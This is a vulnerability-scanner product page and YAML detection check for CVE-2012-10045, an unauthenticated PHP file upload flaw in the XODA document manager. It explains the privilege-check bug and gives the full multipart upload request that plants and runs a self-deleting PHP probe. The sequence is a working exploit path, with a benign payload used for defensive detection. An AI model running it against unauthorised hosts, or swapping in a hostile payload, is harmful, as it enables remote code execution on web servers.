XODA — 1 vulnerability check

noctis ships 1 vulnerability check for XODA, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

XODA <= 0.4.5 unauthenticated arbitrary PHP file upload

CVECVE-2012-10045
Severitycritical · CVSS 9.3
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/xoda/CVE-2012-10045.yaml

Tests the XODA document manager (0.4.5 and earlier) for the unauthenticated arbitrary file upload, CVE-2012-10045. When the "?upload_to=" upload form is shown to a visitor who is not logged in, the test uploads through "?upload" a one-line PHP file that prints a per-run arithmetic marker and deletes itself, then requests it from the files/ directory. The computed marker in the reply confirms that the uploaded file ran as PHP code. If only the anonymous upload form is confirmed (for example because the files directory is not served or does not run PHP), a lower-confidence finding is reported instead. The /xoda path and the web root are tried.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request GET {{base}}/?upload_to=
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request POST {{xf.dir}}?upload with a crafted body
  6. HTTP(S) request GET {{xf.dir}}files/noctis{{m.tok}}.php
  7. Parses / computes the next value with a Rhai script
  8. Checks run.body for NOCTIS[0-9]+END → finding QoD 97: Unauthenticated upload + PHP execution confirmed: POST …?upload stored noctis….php, and GET …files/noctis….php returned NOCTIS…END (…+… com…
  9. Checks form.body for <h4>Upload a file → finding QoD 75: GET …/?upload_to= showed the XODA upload form to an unauthenticated visitor (privilege check bypassed), but the uploaded PHP probe did not …

References:

Feed source — tests/vulnerabilities/xoda/CVE-2012-10045.yaml
# XODA <= 0.4.5 — unauthenticated arbitrary file upload to the web-served files/ dir
# (CVE-2012-10045, BID 55127)
#
# index.php gates every action with xd_check_privileges($level), which in 0.4.5 reads
# `if ($level && $_SESSION['privileges'] <= $level)`. A visitor who never logged in
# has no `privileges` in the session, and PHP evaluates `null <= 4` as true, so the
# `?upload_to=` form and the `?upload` handler run without authentication. xd_upload()
# moves files_to_upload[] into ROOT_DIR (default `files/`, inside the web root) under
# its own name, extension unchecked, so an uploaded .php file runs on a direct GET.
# 0.4.6 adds `$_SESSION['privileges'] &&` to the check (the whole fix).
#
# Detection (for each candidate base: /xoda, then the web root):
#   1. GET <base>/?upload_to= — the vulnerable script answers an anonymous visitor
#      with its "Upload a file" form (files_to_upload[] field). Only such a host goes
#      on to step 2; nothing is uploaded elsewhere.
#   2. Real, benign exploitation (QoD 97): POST <dir>?upload a one-line PHP file
#      noctis<tok>.php whose code prints NOCTIS<a+b>END (the source holds "a+b",
#      never the sum) and then unlink()s itself, then GET <dir>files/noctis<tok>.php.
#      <dir> is the form's own action directory (index.php's PHPSELF), so a catch-all
#      front controller answering /xoda/ for a root install still hits the right files/.
#      The server-computed sum proves the upload ran as PHP; the file is gone after.
#   3. Fallback (QoD 75): only the anonymous upload form is confirmed (e.g. ROOT_DIR
#      moved outside the web root, or PHP disabled there — the inert file then stays).
#
# Better than the NASL (2012/gb_xoda_55127.nasl): the uploaded file prints a per-run
# computed marker and deletes itself, instead of leaving a phpinfo() page behind; the
# probe does not depend on the HTTP_REFERER-based Location header (absent when no
# Referer is sent), but on the file actually running.
#
# CVSS: NVD only carries the CNA's CVSS 4.0 score (9.3,
# AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H); the issue's 9.7 has no source.
#
# Ported from OpenVAS/Greenbone NVT 2012/gb_xoda_55127.nasl
# (OID 1.3.6.1.4.1.25623.1.0.103548, GPL-2.0-only). PoC: exploit-db 20703,
# Metasploit exploit/unix/webapp/xoda_file_upload.
uid: 672ed27e-1d61-4d5a-8941-07e5c40bd2a4
name: "XODA <= 0.4.5 unauthenticated arbitrary PHP file upload (CVE-2012-10045)"
description: |
  Tests the XODA document manager (0.4.5 and earlier) for the unauthenticated
  arbitrary file upload, CVE-2012-10045. When the "?upload_to=" upload form is shown
  to a visitor who is not logged in, the test uploads through "?upload" a one-line
  PHP file that prints a per-run arithmetic marker and deletes itself, then requests
  it from the files/ directory. The computed marker in the reply confirms that the
  uploaded file ran as PHP code. If only the anonymous upload form is confirmed (for
  example because the files directory is not served or does not run PHP), a
  lower-confidence finding is reported instead. The /xoda path and the web root are
  tried.
cves: [CVE-2012-10045]
cvss: 9.3
severity: critical
confidence_base: 0.30
category: rce
tags: [xoda, php, file-upload, auth-bypass, rce, intrusive, web-abuse]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-10045"
  - "https://www.exploit-db.com/exploits/20703"
  - "https://www.vulncheck.com/advisories/xoda-arbitrary-php-file-upload"
  - "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/unix/webapp/xoda_file_upload.rb"
  - "OpenVAS/Greenbone NASL 2012/gb_xoda_55127.nasl (GPL-2.0-only)"

steps:
  # Per-run file name token and arithmetic operands.
  - id: mint
    action: script
    code: '#{ tok: rand_hex(8), a: rand_int(100000, 999999), b: rand_int(100000, 999999) }'
    store_as: m

  - id: mint-sum
    action: script
    code: 'm.a + m.b'
    store_as: sum

  # ── Loop group: every step below runs once per candidate XODA base ──
  # Pre-initialise every stored result the scripts read (an undefined variable
  # would abort the whole test).
  - id: init-form
    action: set_var
    var_name: form
    var_value: {status: 0, body: null}
    loop:
      over: ["/xoda", ""]
      var: base

  - id: init-run
    action: set_var
    var_name: run
    var_value: {status: 0, body: null}

  # The vulnerable index.php shows its upload form to an anonymous visitor; the fixed
  # one (or a logged-out anonymous-mode session, privilege 6) renders no form.
  - id: form-probe
    action: http_request
    method: GET
    path: "{{base}}/?upload_to="
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    store_as: form

  - id: form-verify
    action: script
    code: |
      let b = form.body;
      let hit = false;
      let dir = base + "/";
      if type_of(b) == "string" {
        hit = form.status == 200
          && stridx(b, "<h4>Upload a file") >= 0
          && stridx(b, "name=\"files_to_upload[]\"") >= 0;
        // The form posts to PHPSELF + "?upload", PHPSELF being the directory that
        // really holds index.php (files/ sits next to it) — follow it rather than the
        // probed base, which a catch-all front controller may also answer.
        let a = eregmatch("action=\"(/[A-Za-z0-9._~/-]*)\\?upload\"", b);
        if a.len() == 2 {
          // A root install answering /xoda/ through PATH_INFO renders PHPSELF as
          // "/index.php/xoda/" — keep only the directory that holds the script.
          dir = ereg_replace("[^/]*\\.php/.*$", "", a[1]);
          if !dir.ends_with("/") { dir += "/"; }
        }
      }
      #{ hit: hit, dir: dir }
    store_as: xf

  # Benign exploitation: a self-deleting PHP file that prints NOCTIS<a+b>END, stored
  # in the root of the files/ directory (empty pwd).
  - id: upload
    action: http_request
    method: POST
    path: "{{xf.dir}}?upload"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    condition: "xf.hit == true"
    headers:
      Content-Type: "multipart/form-data; boundary=----noctisCVE201210045"
      Referer: "{{scheme}}://{{target_host}}:{{port}}{{xf.dir}}"
    body: "------noctisCVE201210045\r\nContent-Disposition: form-data; name=\"files_to_upload[]\"; filename=\"noctis{{m.tok}}.php\"\r\nContent-Type: application/x-php\r\n\r\n<?php echo 'NOCTIS'.({{m.a}}+{{m.b}}).'END'; @unlink(__FILE__); ?>\r\n------noctisCVE201210045\r\nContent-Disposition: form-data; name=\"pwd\"\r\n\r\n\r\n------noctisCVE201210045--\r\n"
    store_as: up

  - id: run-upload
    action: http_request
    method: GET
    path: "{{xf.dir}}files/noctis{{m.tok}}.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    condition: "xf.hit == true"
    store_as: run

  # Executed only when the computed sum comes back (the source holds "a+b", not it).
  - id: run-verify
    action: script
    code: |
      let b = run.body;
      if type_of(b) != "string" { false }
      else { run.status == 200 && stridx(b, "NOCTIS" + sum + "END") >= 0 }
    store_as: rce_hit

  - id: rce-match
    action: match
    source: run.body
    pattern: "NOCTIS[0-9]+END"
    condition: "rce_hit == true"
    on_match:
      stop: true
      finding:
        confidence_delta: 0.65
        qod: 97
        evidence: "Unauthenticated upload + PHP execution confirmed: POST {{xf.dir}}?upload stored noctis{{m.tok}}.php, and GET {{xf.dir}}files/noctis{{m.tok}}.php returned NOCTIS{{sum}}END ({{m.a}}+{{m.b}} computed by the server; the file deleted itself)"

  # Fallback: only the anonymous upload form is confirmed.
  - id: form-match
    action: match
    source: form.body
    pattern: "<h4>Upload a file"
    condition: "xf.hit == true && rce_hit != true"
    on_match:
      stop: true
      finding:
        confidence_delta: 0.45
        qod: 75
        evidence: "GET {{base}}/?upload_to= showed the XODA upload form to an unauthenticated visitor (privilege check bypassed), but the uploaded PHP probe did not run (GET {{xf.dir}}files/noctis{{m.tok}}.php: status {{run.status}})"

View these feeds on GitHub